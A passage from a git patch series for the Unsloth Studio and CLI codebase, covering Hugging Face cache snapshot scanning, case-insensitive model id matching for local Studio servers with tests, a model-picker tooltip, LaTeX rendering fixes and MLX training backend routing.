+        assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/gemma-4-gguf"
+
+    def test_companion_only_newer_snapshot_does_not_shadow_real_variants(self, hf_cache):
+        # A newer snapshot holds only a vision projector fetched on demand,
+        # while the quant files live in an older snapshot. The newer snapshot
+        # must not shadow the real variants; the vision flag carries over.
+        old = _build_cache(
+            hf_cache,
+            "unsloth/vision-GGUF",
+            {"vision-Q4_K_M.gguf": 100},
+            snapshot_sha = "a" * 40,
+        )
+        new = _build_cache(
+            hf_cache,
+            "unsloth/vision-GGUF",
+            {"mmproj-vision-F16.gguf": 10},
+            snapshot_sha = "b" * 40,
+        )
+        os.utime(old, (1000, 1000))
+        os.utime(new, (2000, 2000))
+
+        out = _list_gguf_variants_from_hf_cache("unsloth/vision-GGUF")
+        assert out is not None
+        variants, has_vision = out
+        assert [v.quant for v in variants] == ["Q4_K_M"]
+        assert has_vision is True
+
+    def test_companion_only_cache_returns_empty_variants_with_vision(self, hf_cache):
+        # Only a vision projector is cached anywhere: report the vision flag
+        # with an empty variant list rather than None.
+        _build_cache(hf_cache, "unsloth/vision-GGUF", {"mmproj-vision-F16.gguf": 10})
+        out = _list_gguf_variants_from_hf_cache("unsloth/vision-GGUF")
+        assert out is not None
+        variants, has_vision = out
+        assert variants == []
+        assert has_vision is True
+
+
 class TestListGgufVariantsOffline:
     def test_offline_env_short_circuits_api(self, hf_cache, clean_offline_env, monkeypatch):
         _build_cache(hf_cache, "unsloth/a", {"a-UD-Q4_K_XL.gguf": 1})
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 5d8458e5f0..281ca24281 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -1617,36 +1617,60 @@ def _iter_hf_cache_snapshots(repo_id: str):
 
     cache_dir = Path(hf_constants.HF_HUB_CACHE)
     target = f"models--{repo_id.replace('/', '--')}".lower()
-    repo_dir: Optional[Path] = None
+    repo_dirs: list[Path] = []
     try:
         if not cache_dir.is_dir():
             return
         for entry in cache_dir.iterdir():
             if entry.is_dir() and entry.name.lower() == target:
-                repo_dir = entry
-                break
+                repo_dirs.append(entry)
     except OSError:
         return
-    if repo_dir is None:
+    if not repo_dirs:
         return
 
-    snapshots = repo_dir / "snapshots"
-    try:
-        if not snapshots.is_dir():
-            return
-        snap_dirs = [s for s in snapshots.iterdir() if s.is_dir()]
-    except OSError:
+    snap_dirs: list[Path] = []
+    for repo_dir in repo_dirs:
+        snapshots = repo_dir / "snapshots"
+        try:
+            if snapshots.is_dir():
+                for snap_dir in snapshots.iterdir():
+                    try:
+                        if snap_dir.is_dir():
+                            snap_dirs.append(snap_dir)
+                    except OSError:
+                        continue
+        except OSError:
+            continue
+    if not snap_dirs:
         return
-    snap_dirs.sort(key = lambda s: s.stat().st_mtime, reverse = True)
-    yield from snap_dirs
+    snap_dirs_with_mtime = []
+    for snap_dir in snap_dirs:
+        try:
+            snap_dirs_with_mtime.append((snap_dir.stat().st_mtime, snap_dir))
+        except OSError:
+            continue
+    snap_dirs_with_mtime.sort(key = lambda item: item[0], reverse = True)
+    yield from (snap_dir for _, snap_dir in snap_dirs_with_mtime)
 
 
 def _list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]:
-    """Variants from the local HF cache snapshot, or None if not cached."""
+    """Variants from the local HF cache snapshot, or None if not cached.
+
+    A newer snapshot can hold only a companion file (for example a vision
+    projector fetched on demand) while the quant files live in an older
+    snapshot. Returning the first snapshot that merely reports a vision flag
+    would shadow those real variants, so keep scanning older snapshots for
+    actual variants and carry the vision flag across snapshots.
+    """
+    any_vision = False
     for snap in _iter_hf_cache_snapshots(repo_id):
         variants, has_vision = list_local_gguf_variants(str(snap))
-        if variants or has_vision:
-            return variants, has_vision
+        any_vision = any_vision or has_vision
+        if variants:
+            return variants, any_vision
+    if any_vision:
+        return [], True
     return None
 
 
diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
index 01014de4d3..477a47cc3d 100644
--- a/unsloth_cli/commands/start.py
+++ b/unsloth_cli/commands/start.py
@@ -597,6 +597,59 @@ def _loaded_models(base: str, key: str) -> list:
     return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
 
 
+_HF_REPO_ID_SEGMENT_RE = re.compile(r"^[A-Za-z0-9._-]+$")
+
+
+def _is_hub_model_id(value: object) -> bool:
+    if not isinstance(value, str):
+        return False
+    text = value.strip()
+    if "\\" in text:
+        return False
+    if text.startswith(("/", "./", "../", "~")):
+        return False
+    if len(text) >= 2 and text[1] == ":" and text[0].isalpha():
+        return False
+    # A hub id is exactly "namespace/name" over a restricted charset. Anything with
+    # extra path segments (e.g. a server-side relative path such as
+    # models/Llama/Foo.gguf on a remote Studio) is not a hub id and must not be
+    # casefold-matched against a differently cased path on a case-sensitive
+    # filesystem. This is host independent, unlike the existence probe below which
+    # cannot see a path that only exists on the server.
+    parts = text.split("/")
+    if len(parts) != 2:
+        return False
+    if any(part in ("", ".", "..") or not _HF_REPO_ID_SEGMENT_RE.match(part) for part in parts):
+        return False
+    try:
+        if Path(os.path.expanduser(text)).exists():
+            return False
+    except OSError:
+        return False
+    return True
+
+
+def _model_id_matches(
+    actual: object,
+    requested: object,
+    *,
+    allow_casefold: bool = True,
+) -> bool:
+    if actual == requested:
+        return True
+    # Case-insensitive matching is only safe when the local existence probe in
+    # _is_hub_model_id is authoritative, i.e. against a loopback Studio on this host.
+    # Against a remote Studio a two-segment string is indistinguishable from a
+    # server-side relative path (e.g. Models/Foo vs models/foo), so casefolding it
+    # could attach to the wrong model on a case-sensitive server; defer to an exact
+    # match there and let the load endpoint resolve the requested path.
+    if not allow_casefold:
+        return False
+    if not (_is_hub_model_id(actual) and _is_hub_model_id(requested)):
+        return False
+    return str(actual).casefold() == str(requested).casefold()
+
+
 def _resolve_model(
     base: str,
     key: str,
@@ -604,6 +657,9 @@ def _resolve_model(
     load: LoadOptions = LoadOptions(),
 ) -> dict:
     models = _loaded_models(base, key)
+    # Only casefold-match ids against a loopback Studio, where _is_hub_model_id's
+    # local existence probe can actually reject a server-side path; see the note there.
+    allow_casefold = is_loopback_url(base)
     # /v1/models reports the model id but not the active GGUF variant or runtime load
     # settings, so an id match alone can hide the wrong quant (Q8_0 serving while the
     # user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to
@@ -613,10 +669,21 @@ def _resolve_model(
     load_has_overrides = bool(
         load.gguf_variant or load.max_seq_length or not load.load_in_4bit or load.tensor_parallel
     )
+    # /v1/models also lists cached-but-unloaded catalog entries (loaded == False);
+    # matching one would skip /api/inference/load and leave the agent pointed at a
+    # model that is not resident, so only attach to an entry that is actually loaded.
     match = (
         None
         if requested and load_has_overrides
-        else next((m for m in models if m["id"] == requested), None)
+        else next(
+            (
+                m
+                for m in models
+                if _model_id_matches(m.get("id"), requested, allow_casefold = allow_casefold)
+                and m.get("loaded") is not False
+            ),
+            None,
+        )
     )
     if requested and match is None:
         typer.echo(
@@ -651,7 +718,16 @@ def _resolve_model(
         if isinstance(loaded, dict):
             wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
         models = _loaded_models(base, key)
-        match = next((m for m in models if m["id"] in wanted), None)
+        match = next(
+            (
+                m
+                for m in models
+                if any(
+                    _model_id_matches(m.get("id"), w, allow_casefold = allow_casefold) for w in wanted
+                )
+            ),
+            None,
+        )
     if match is not None:
         return match
     if requested:
diff --git a/unsloth_cli/tests/test_start.py b/unsloth_cli/tests/test_start.py
index bd964d5e54..ee5b442c27 100644
--- a/unsloth_cli/tests/test_start.py
+++ b/unsloth_cli/tests/test_start.py
@@ -457,6 +457,189 @@ def test_connect_codex_no_launch(fake_studio, tmp_path):
     assert (home / "unsloth_api.config.toml").exists()
 
 
+def test_connect_codex_matches_requested_model_case_insensitively(fake_studio, tmp_path):
+    result = CliRunner().invoke(
+        start.start_app,
+        [
+            "codex",
+            "--no-launch",
+            "--model",
+            "unsloth/gemma-4-26b-a4b-it-gguf",
+        ],
+    )
+    assert result.exit_code == 0, result.output
+    home = tmp_path / "agents" / "codex"
+    profile = _parse_toml((home / "unsloth_api.config.toml").read_text())
+    assert profile["model"] == MODEL["id"]
+
+
+def test_resolve_model_matches_loaded_canonical_case_after_load(monkeypatch):
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url, payload))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [
+                    {
+                        "id": "unsloth/gemma-4-E2B-it-GGUF" if state["loaded"] else "other/model",
+                        "context_length": 131072,
+                    }
+                ]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/gemma-4-E2B-it-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(
+        BASE,
+        "sk-test",
+        "unsloth/gemma-4-e2b-it-gguf",
+        start.LoadOptions(gguf_variant = "UD-Q4_K_XL"),
+    )
+
+    assert entry["id"] == "unsloth/gemma-4-E2B-it-GGUF"
+    assert any(c[1].endswith("/api/inference/load") for c in calls)
+
+
+def test_resolve_model_loads_when_catalog_hit_is_not_loaded(monkeypatch):
+    # A cached-but-unloaded catalog entry (loaded == False) that only case-differs must
+    # not be treated as ready; the load endpoint must still be called so the requested
+    # model becomes resident instead of the agent preflighting a different backend.
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [
+                    {
+                        "id": "unsloth/Gemma-4-GGUF",
+                        "loaded": state["loaded"],
+                        "context_length": 131072,
+                    }
+                ]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/Gemma-4-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(BASE, "sk-test", "unsloth/gemma-4-gguf")
+
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_resolve_model_attaches_to_loaded_catalog_hit_without_reload(monkeypatch):
+    # The mirror case: a loaded entry (loaded == True) that case-matches attaches with
+    # no /api/inference/load call.
+    calls = []
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [{"id": "unsloth/Gemma-4-GGUF", "loaded": True, "context_length": 131072}]
+            }
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model(BASE, "sk-test", "unsloth/gemma-4-gguf")
+
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert not any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_resolve_model_remote_studio_does_not_casefold_attach(monkeypatch):
+    # Against a remote Studio the local existence probe cannot see server-side paths,
+    # so a case-variant loaded id must NOT attach without a load: it could be a distinct
+    # server-side path on a case-sensitive host. The load endpoint resolves the request.
+    calls = []
+    state = {"loaded": False}
+
+    def http_json(
+        method,
+        url,
+        token,
+        payload = None,
+        timeout = 30,
+        error = None,
+    ):
+        calls.append((method, url))
+        if url.endswith("/v1/models"):
+            return {
+                "data": [{"id": "unsloth/Gemma-4-GGUF", "loaded": True, "context_length": 131072}]
+            }
+        if url.endswith("/api/inference/load"):
+            state["loaded"] = True
+            return {"model": "unsloth/Gemma-4-GGUF"}
+        raise AssertionError(f"unexpected request: {method} {url}")
+
+    monkeypatch.setattr(start, "_http_json", http_json)
+
+    entry = start._resolve_model("http://10.0.0.5:8888", "sk-test", "unsloth/gemma-4-gguf")
+
+    # The load endpoint was consulted (no casefold shortcut), and we still attach to the
+    # server's canonical id it reports back.
+    assert entry["id"] == "unsloth/Gemma-4-GGUF"
+    assert any(u.endswith("/api/inference/load") for _, u in calls)
+
+
+def test_model_id_matching_does_not_casefold_local_paths(tmp_path):
+    existing_local = tmp_path / "Org" / "Foo"
+    existing_local.mkdir(parents = True)
+
+    assert start._model_id_matches("Org/Foo", "org/foo")
+    assert not start._model_id_matches(str(existing_local), str(existing_local).lower())
+    assert not start._model_id_matches("./Models/Foo", "./models/foo")
+    assert not start._model_id_matches(r".\Models\Foo", r".\models\foo")
+    # A server-side relative path (extra path segments) is not a hub id even when it
+    # does not exist on the CLI host, so it must not casefold-match a differently
+    # cased path on a case-sensitive server filesystem.
+    assert not start._is_hub_model_id("models/Llama/Foo.gguf")
+    assert not start._model_id_matches("models/Llama/Foo.gguf", "models/llama/foo.gguf")
+    # A genuine two-segment hub id still matches case-insensitively.
+    assert start._is_hub_model_id("unsloth/Gemma-3-4b-it-GGUF")
+    assert start._model_id_matches("unsloth/Gemma-3-4b-it-GGUF", "unsloth/gemma-3-4b-it-gguf")
+    # Casefolding is gated to loopback studios (allow_casefold). With it disabled (a
+    # remote studio, where a two-segment string could be a server-side path), even a
+    # genuine hub-id case variant must not match, so the load endpoint resolves it.
+    assert not start._model_id_matches(
+        "unsloth/Gemma-3-4b-it-GGUF", "unsloth/gemma-3-4b-it-gguf", allow_casefold = False
+    )
+    assert start._model_id_matches("unsloth/Foo", "unsloth/Foo", allow_casefold = False)
+
+
 def test_connect_codex_launch_uses_ephemeral_home(fake_studio, monkeypatch):
     # Launch mode writes config to a throwaway temp CODEX_HOME and removes it after
     # the agent exits; the user's real ~/.codex is never the target.

From f1a2621631d3adfd72a65dc9710290abb81c54db Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 03:09:52 -0700
Subject: [PATCH 252/306] Studio: show Hugging Face address on hover for Hub
 and online model rows (#6382) (#6928)

* Studio: show Hugging Face address on hover for Hub and online model rows

The model selector already shows an on-disk path tooltip on local rows,
but Hub and online rows showed only the bare repo id, and nothing at all
when there was no VRAM estimate. Add an optional hubUrl prop and a
hubRepoUrl helper that mirrors localPathTooltip, and surface
huggingface.co/<repo_id> on hover for the Discover, search, and
downloaded Hub rows. Local and VRAM tooltips are unchanged; the VRAM
tooltip now also appends the address line.

Closes #6382

* Studio: use a 700ms hover delay before the model-row tooltip

Give the model-row hover tooltip (the Hugging Face address, plus the VRAM
and local-path lines it shares) a 700ms open delay instead of showing it
instantly, so it does not flash while sweeping the mouse down the list.

* Fix/adjust GGUF tooltips for PR #6928

---------

Co-authored-by: wasimysaid <112766706+wasimysaid@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 .../assistant-ui/model-selector/pickers.tsx   | 62 ++++++++++++++-----
 1 file changed, 45 insertions(+), 17 deletions(-)

diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 9890c5f574..ff0351883d 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -393,6 +393,7 @@ function ModelRow({
   vramEst,
   gpuGb,
   tooltipText,
+  hubUrl,
   optionProps,
   onArrowDownIntoChildren,
   capabilities,
@@ -409,6 +410,10 @@ function ModelRow({
   vramEst?: number;
   gpuGb?: number;
   tooltipText?: ReactNode;
+  /** Hugging Face address (e.g. "huggingface.co/owner/name") for online/Hub
+   * rows; surfaced on hover so their repo id / URL is discoverable the same
+   * way local rows show an on-disk path. Omit to show no address line. */
+  hubUrl?: string;
   optionProps?: ModelRowOptionProps;
   onArrowDownIntoChildren?: () => boolean;
   /** Capability override (HF rows have tags); falls back to name detection. */
@@ -546,30 +551,41 @@ function ModelRow({
     </button>
   );
 
-  if (vramTooltipText) {
-    return (
-      <Tooltip>
-        <TooltipTrigger asChild={true}>{content}</TooltipTrigger>
-        <TooltipContent
-          side="left"
-          className="tooltip-compact max-w-xs break-all"
-        >
-          {label}
-          <span className="block text-[10px] mt-1">{vramTooltipText}</span>
-        </TooltipContent>
-      </Tooltip>
-    );
-  }
+  // Optional Hugging Face address line for online/Hub rows, rendered under
+  // whichever tooltip shows so the repo id / URL is always visible on hover.
+  const hubUrlLine = hubUrl ? (
+    <span className="block mt-1 text-[10px] text-muted-foreground break-all">
+      {hubUrl}
+    </span>
+  ) : null;
 
-  if (tooltipText) {
+  const tooltipBody = vramTooltipText ? (
+    <>
+      {label}
+      <span className="block text-[10px] mt-1">{vramTooltipText}</span>
+      {hubUrlLine}
+    </>
+  ) : tooltipText ? (
+    <>
+      {tooltipText}
+      {hubUrlLine}
+    </>
+  ) : hubUrl ? (
+    <>
+      <span className="block break-words">{label}</span>
+      {hubUrlLine}
+    </>
+  ) : null;
+
+  if (tooltipBody) {
     return (
-      <Tooltip>
+      <Tooltip delayDuration={700}>
         <TooltipTrigger asChild={true}>{content}</TooltipTrigger>
         <TooltipContent
           side="left"
           className="tooltip-compact max-w-xs break-all"
         >
-          {tooltipText}
+          {tooltipBody}
         </TooltipContent>
       </Tooltip>
     );
@@ -1193,6 +1209,13 @@ function localPathTooltip(name: string, path: string): ReactNode {
   );
 }
 
+/** Hugging Face address for an online/Hub row, or undefined when the repo id is
+ * missing so the row shows no (empty) address line on hover. */
+function hubRepoUrl(id: string | null | undefined): string | undefined {
+  const trimmed = id?.trim();
+  return trimmed ? `huggingface.co/${trimmed}` : undefined;
+}
+
 /** Whether a local model is an MLX build (name hint). MLX runs on Mac only, so
  * callers gate visibility on the host being a Mac. */
 function localModelIsMlx(m: LocalModelInfo): boolean {
@@ -2462,6 +2485,7 @@ export function HubModelPicker({
           <div className="min-w-0 flex-1">
             <ModelRow
               label={c.repo_id}
+              tooltipText={localPathTooltip(c.repo_id, c.cache_path)}
               meta="GGUF"
               showVision={c.has_vision ?? visionByRepo[c.repo_id]}
               selected={isSelected}
@@ -2518,6 +2542,7 @@ export function HubModelPicker({
         <div className="min-w-0 flex-1">
           <ModelRow
             label={c.repo_id}
+            hubUrl={hubRepoUrl(c.repo_id)}
             meta={`${isMlxId(c.repo_id) ? "MLX" : "Safetensors"} · ${formatBytes(
               c.size_bytes,
             )}`}
@@ -3378,6 +3403,7 @@ export function HubModelPicker({
                         <div key={id}>
                           <ModelRow
                             label={id}
+                            hubUrl={hubRepoUrl(id)}
                             hideOwner={true}
                             downloaded={downloadedSet.has(id.toLowerCase())}
                             capabilities={capsById.get(id)}
@@ -3463,6 +3489,7 @@ export function HubModelPicker({
                       <div key={id}>
                         <ModelRow
                           label={id}
+                          hubUrl={hubRepoUrl(id)}
                           capabilities={capsById.get(id)}
                           meta={
                             isKnownGgufRepo(id)
@@ -3545,6 +3572,7 @@ export function HubModelPicker({
                         <div key={id}>
                           <ModelRow
                             label={id}
+                            hubUrl={hubRepoUrl(id)}
                             capabilities={capsById.get(id)}
                             meta={
                               isSearchGguf

From de60a3a994972ff4b188e5d16e2bdf581461b26a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 8 Jul 2026 03:13:32 -0700
Subject: [PATCH 253/306] Studio: fix currency and indentation edge cases in
 LaTeX rendering (#6957)

* Studio: fix link, currency and indentation edge cases in LaTeX rendering

Follow-up to #6914. Three fixes to studio/frontend/src/lib/latex.ts:

- Skip reference-link definition URLs ([id]: url) during delimiter
  conversion, so escaped parens in such URLs are not rewritten as math.
- Preserve the opener line's indentation when emitting a display $$ block,
  so a \[...\] inside a list item stays part of the list.
- Stop a currency amount from pairing with a converted span's opening $,
  which swallowed the price into math (for example $5 + x \(y\)).

* Exclude GFM footnote definitions from the reference-URL skip

A footnote definition like [^1]: \(x\) had its body treated as a link
destination, so leading math was left literal. Skip [^...] labels.

* Merge overlapping link destination regions

A reference-def token can nest inline-link spans (for example
[1]: http://h/[a](b)/foo\(x\)), so the combined spans could overlap and
isInRegion's binary search missed the outer one, rewriting the URL. Merge
overlapping spans before the search.

* Guard lineStart when the display opener is at index 0

Behavior is unchanged (lastIndexOf clamps a negative fromIndex to 0), but
the explicit guard avoids relying on that implicit clamp.

* Scope to indentation and currency fixes

Drop the reference-link URL protection added earlier. It guards a case
models effectively never emit (escaped parens in a reference-style URL),
and approximating CommonMark reference definitions with a regex needs
open-ended special-casing. Keep the two high-value fixes: preserve display
math indentation (including multi-line bodies) inside a list item, and stop
a currency amount from pairing with a converted span's opening dollar sign.
---
 studio/frontend/src/lib/latex.ts | 28 +++++++++++++++++++++++++---
 1 file changed, 25 insertions(+), 3 deletions(-)

diff --git a/studio/frontend/src/lib/latex.ts b/studio/frontend/src/lib/latex.ts
index 86a9634048..edf9875602 100644
--- a/studio/frontend/src/lib/latex.ts
+++ b/studio/frontend/src/lib/latex.ts
@@ -173,7 +173,11 @@ function looksLikeMathBody(body: string): boolean {
  * (`**$X$**`, `__$X$__`) are always math: LLMs use that for "bold math"
  * and the heuristic would otherwise reject prose-shaped bodies like "90 - x".
  */
-function hasInlineMathCloser(content: string, offset: number): boolean {
+function hasInlineMathCloser(
+  content: string,
+  offset: number,
+  mathRegions: Array<[number, number]>,
+): boolean {
   const MAX_SPAN = 200;
   const limit = Math.min(content.length, offset + 1 + MAX_SPAN);
   for (let i = offset + 1; i < limit; i++) {
@@ -181,6 +185,9 @@ function hasInlineMathCloser(content: string, offset: number): boolean {
     if (c === "\n") return false;
     if (c !== "$") continue;
     if (content[i - 1] === "\\") continue;
+    // A `$` opening a generated span (from `\(...\)`) is not a currency closer;
+    // pairing with it would swallow the price into math (`$5 + x \(y\)`).
+    if (isInRegion(i, mathRegions)) return false;
     if (content[i + 1] === "$") {
       i++;
       continue;
@@ -294,7 +301,22 @@ function convertLatexDelimiters(content: string): {
       continue;
     }
     append(content.slice(last, match.index));
-    const wrapped = isDisplay ? `\n$$\n${body}\n$$\n` : `$${body}$`;
+    let wrapped: string;
+    if (isDisplay) {
+      // Keep the opener's leading indentation so a `$$` block inside a list item
+      // stays in the container instead of breaking out at column 0. Only when the
+      // opener is whitespace-prefixed, so inline `text \[x\]` keeps column 0.
+      const lineStart =
+        match.index > 0 ? content.lastIndexOf("\n", match.index - 1) + 1 : 0;
+      const prefix = content.slice(lineStart, match.index);
+      const indent = /^\s*$/.test(prefix) ? prefix : "";
+      // Indent every body line, not just the first, so multi-line display math
+      // (`\[a\nb\]`) stays wholly inside the container.
+      const inner = indent ? body.replace(/\n/g, `\n${indent}`) : body;
+      wrapped = `\n${indent}$$\n${indent}${inner}\n${indent}$$\n`;
+    } else {
+      wrapped = `$${body}$`;
+    }
     const start = append(wrapped);
     mathRegions.push([start, offset]);
     last = matchEnd;
@@ -334,7 +356,7 @@ export function preprocessLaTeX(content: string): string {
     if (isInRegion(offset, mathRegions)) {
       return match;
     }
-    if (hasInlineMathCloser(text, offset)) {
+    if (hasInlineMathCloser(text, offset, mathRegions)) {
       return match;
     }
     return "\\" + match;

From 38dacb8a1f49906d2fa23e4dace198a9c56b5220 Mon Sep 17 00:00:00 2001
From: Long Yixing <longyixing331@gmail.com>
Date: Wed, 8 Jul 2026 18:25:26 +0800
Subject: [PATCH 254/306] Add MLX backend support for CLI unsloth train (#6709)

* feat(studio): route CLI trainer to MLX backend

* fix(studio): harden MLX trainer routing

* fix(studio): harden MLX trainer adapter routing

* test(studio): assert MLX CLI activation order

* fix(studio): address MLX CLI review feedback

* feat(cli): support MLX in legacy script

* fix(cli): adapt MLX tokenizer for raw text

* fix(cli): omit unsupported MLX eval batch arg

* fix(cli): feed raw text to MLX trainer

* Fix CLI MLX routing and Python 3.9 annotations

Route the MLX backend through create_mlx_trainer_adapter so the torch-free
Apple Silicon path never imports trainer.py (torch/unsloth/trl). Replace
from __future__ import annotations with typing.Optional/Union so the CLI
annotations stay Python 3.9 compatible without the unused-import lint hit.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Strip return_tensors from MLX raw-text tokenizer proxy

On a torch-free MLX install, RawTextDataLoader calls the tokenizer with
return_tensors='pt'; the callable proxy forwarded that to the HF
tokenizer, which tried to build torch tensors and failed before
training. Drop return_tensors so the MLX path returns plain token ids.

* Tighten CLI MLX-backend comments

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/training/trainer.py       |  31 +-
 studio/backend/core/training/training.py      | 624 +++++++++++++++---
 studio/backend/core/training/worker.py        | 248 +++++--
 .../backend/tests/test_training_preflight.py  | 232 +++++++
 unsloth-cli.py                                | 243 ++++---
 unsloth_cli/commands/train.py                 |  46 +-
 6 files changed, 1162 insertions(+), 262 deletions(-)

diff --git a/studio/backend/core/training/trainer.py b/studio/backend/core/training/trainer.py
index 20b2305a5a..958f8f4197 100644
--- a/studio/backend/core/training/trainer.py
+++ b/studio/backend/core/training/trainer.py
@@ -62,7 +62,6 @@ from loggers import get_logger
 import time
 from pathlib import Path
 from typing import Any, Dict, List, Optional, Callable
-from dataclasses import dataclass
 import pandas as pd
 from datasets import Dataset
 from utils.datasets.cache_safe import load_dataset_cache_safe as load_dataset
@@ -86,6 +85,11 @@ from utils.native_path_leases import child_env_without_native_path_secret
 from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
+from .training import (
+    TrainingProgress,
+    create_mlx_trainer_adapter,
+    should_use_mlx_training_backend,
+)
 
 logger = get_logger(__name__)
 
@@ -104,31 +108,16 @@ def _build_report_targets(training_args) -> list[str] | str:
     return report_to or "none"
 
 
-@dataclass
-class TrainingProgress:
-    """Training progress tracking"""
-
-    epoch: float = 0
-    step: int = 0
-    total_steps: int = 0
-    loss: Optional[float] = None
-    learning_rate: Optional[float] = None
-    is_training: bool = False
-    is_completed: bool = False
-    error: Optional[str] = None
-    status_message: str = "Ready to train"  # Current stage
-    elapsed_seconds: Optional[float] = None
-    eta_seconds: Optional[float] = None
-    grad_norm: Optional[float] = None
-    num_tokens: Optional[int] = None
-    eval_loss: Optional[float] = None
-
-
 class UnslothTrainer:
     """
     Unsloth Training Backend
     """
 
+    def __new__(cls, *args, **kwargs):
+        if cls is UnslothTrainer and should_use_mlx_training_backend():
+            return create_mlx_trainer_adapter(*args, **kwargs)
+        return super().__new__(cls)
+
     def __init__(self):
         self.model = None
         self.tokenizer = None
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index f4233fcf04..2ddda19951 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -14,17 +14,19 @@ import json as _json
 import math
 import multiprocessing as mp
 import os
+import platform
 import queue
 import re
 import shutil
 import threading
 import time
+import traceback
 import structlog
 from datetime import datetime, timezone
 from loggers import get_logger
-from dataclasses import dataclass, field
+from dataclasses import dataclass, field, replace
 from pathlib import Path
-from typing import Optional, Tuple, Any, TYPE_CHECKING
+from typing import Optional, Tuple, Any, Callable, Union, TYPE_CHECKING
 
 if TYPE_CHECKING:
     import matplotlib.pyplot as plt
@@ -98,6 +100,107 @@ def _coerce_optional_nonneg_float(name: str, value):
     return coerced
 
 
+def is_apple_silicon_training_platform() -> bool:
+    return platform.system() == "Darwin" and platform.machine() == "arm64"
+
+
+def is_mlx_training_device(device: Any) -> bool:
+    return (
+        str(device).lower() == "mlx"
+        or str(device).lower().endswith(".mlx")
+        or getattr(device, "name", "").lower() == "mlx"
+    )
+
+
+def should_use_mlx_training_backend(*, device: Optional[Any] = None) -> bool:
+    if device is not None:
+        return is_mlx_training_device(device)
+    return is_apple_silicon_training_platform()
+
+
+def _build_training_worker_config(values: dict[str, Any]) -> dict[str, Any]:
+    """Build the normalized worker config shared by Studio and the CLI adapter."""
+    config = {
+        "model_name": values["model_name"],
+        "project_name": values.get("project_name"),
+        "training_type": values.get("training_type", "LoRA/QLoRA"),
+        "hf_token": values.get("hf_token", ""),
+        "load_in_4bit": values.get("load_in_4bit", True),
+        "max_seq_length": values.get("max_seq_length", 2048),
+        "vision_image_size": values.get("vision_image_size"),
+        "hf_dataset": values.get("hf_dataset", ""),
+        "local_datasets": values.get("local_datasets"),
+        "local_eval_datasets": values.get("local_eval_datasets"),
+        "format_type": values.get("format_type", ""),
+        "subset": values.get("subset"),
+        "train_split": values.get("train_split", "train"),
+        "eval_split": values.get("eval_split"),
+        "eval_steps": values.get("eval_steps", 0.00),
+        "dataset_streaming": values.get("dataset_streaming", False),
+        "dataset_slice_start": values.get("dataset_slice_start"),
+        "dataset_slice_end": values.get("dataset_slice_end"),
+        "custom_format_mapping": values.get("custom_format_mapping"),
+        "is_dataset_image": values.get("is_dataset_image", False),
+        "is_dataset_audio": values.get("is_dataset_audio", False),
+        "is_embedding": values.get("is_embedding", False),
+        "num_epochs": values.get("num_epochs", 3),
+        "learning_rate": values.get("learning_rate", "2e-4"),
+        "embedding_learning_rate": values.get("embedding_learning_rate"),
+        "batch_size": values.get("batch_size", 2),
+        "gradient_accumulation_steps": values.get("gradient_accumulation_steps", 4),
+        "warmup_steps": values.get("warmup_steps"),
+        "warmup_ratio": values.get("warmup_ratio"),
+        "max_steps": values.get("max_steps", 0),
+        "save_steps": values.get("save_steps", 0),
+        "weight_decay": values.get("weight_decay", 0.001),
+        "max_grad_norm": values.get("max_grad_norm", 0.0),
+        "max_grad_value": _coerce_optional_nonneg_float(
+            "max_grad_value", values.get("max_grad_value")
+        ),
+        "max_grad_leaf_norm": _coerce_optional_nonneg_float(
